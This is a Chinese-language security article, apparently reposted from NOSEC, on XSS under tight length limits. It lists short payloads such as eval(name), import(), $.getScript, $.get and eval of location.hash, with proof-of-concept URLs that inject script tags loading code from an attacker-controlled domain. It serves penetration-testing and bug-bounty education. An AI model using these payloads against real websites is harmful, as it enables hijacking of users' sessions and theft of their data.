長度受限情況下的 XSS 攻擊
在某些滲透測試情況下,你也許可以插入一段JavaScript,但是由於有字元數目的限制,所以只能進行簡單的彈窗。我最近看到了一份關於HackerOne的文章,也碰到是一樣情況,這就是我之所以寫這篇文章的原因。那篇文章的作者設法執行了任意的JavaScript,但是有些複雜,並且需要少量的用戶交互。這大大減弱了漏洞嚴重性,導致懸賞很低。
我認為,對於XSS,更有前途的POC是從您控制的域載入外部JavaScript。這篇文章列出了可以用儘可能少的字元載入外部JavaScript的方法。
假設我們的有效負載被放置在錨標記的href屬性中,並且被限制為32個字元;
<a href="<INJECTION>">Click</a>
- eval(name) 這可能是一個可以執行任意JavaScript的最短的有效負載。name屬性可以被分配任何代碼,並且也繼承了跨域。這給了我們一個好處,使我們可以不受任何限制地執行任何payload,除非頁面重寫name。
POC: https://attacker.cm2.pw/?xss=name="d=document;s=d.createElement(script);s.src=//cm2.pw;d.body.appendChild(s)";open(//victim.cm2.pw/?xss=<a href="javascript:eval(name)">Click</a>,_self)
Payload 長度: javascript:eval(name).length==21 - import 這是獲取外部JavaScript的另一個最短的payload,但是隻能在基於Chromium的瀏覽器上工作。 POC: https://victim.cm2.pw/?xss=Click Payload 長度: javascript:import(/?.?/).length==24
- $.getScript
這是一個非常有名的jQuery函數,用來載入外部JavaScript。在全局上下文中獲取並執行腳本,就像script標籤載入的一樣。但是,這要求jQuery已經在頁面中載入。
POC: https://victim.cm2.pw/?xss=Click Payload 長度: javascript:$.getScript(/?.?/).length==29 - $.get 這是另一個jQuery函數,如果返回的Content類型設置為text/javascript,則該函數可以載入和執行外部JavaScript。這實際上是一個僅在jQuery 3.0.0之前能生效的漏洞。 POC: https://victim.cm2.pw/?xss=Click Payload 長度:
javascript:$.get(/?.?/).length==23
- 使用現有元素和/或屬性 找到由用戶部分或完全控制的HTML元素和JavaScript屬性值並不罕見。雖然這可能需要花費一些時間,但是當插入的XSS長度受限時,它可以提供巨大的幫助。例如,大多數Ajax驅使應用存儲hash標識符以便於導航。 如果頁面存儲hash如下; const hash = document.location.hash; 我們可以用它來載入外部腳本; eval(""+hash) POC: https://victim.cm2.pw/?xss=const hash=document.location.hash;Click#;d=document;s=d.createElement(script);s.src=//cm2.pw;d.body.appendChild(s) Payload 長度:
`javascript:eval(""+hash)`.length==25
除了上面已知的技術之外,還有各種其他方式可以載入外部JavaScript。以下是一些我沒有現成案例的說明;
-其他Library
-各種selector的使用
-使用DOM屬性、以及其變種(例如,image id)
在某些情況下,Firefox在單擊JavaScript URI時會跳轉頁面。為了防止這個動作,我們需要引入一個錯誤。因此,其中個解決辦法是在每個payload的結尾添加一些類似無意義的欄位
javascript:eval(name);q
// halts navigation because q is not defined
最後,值得注意的是,還可以對JavaScript URL使用URL編碼,比如;
<a href="javascript:x=%27,alert(1)//">Click</a>
// Thanks @garethheyes
POC:
https://cm2.pw/?xss=Click
來源:長度受限情況下的 XSS 攻擊|NOSEC安全訊息平臺 - NOSEC.ORG
白帽匯從事信息安全,專註於安全大數據、企業威脅情報。
公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。
為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。
推薦閱讀: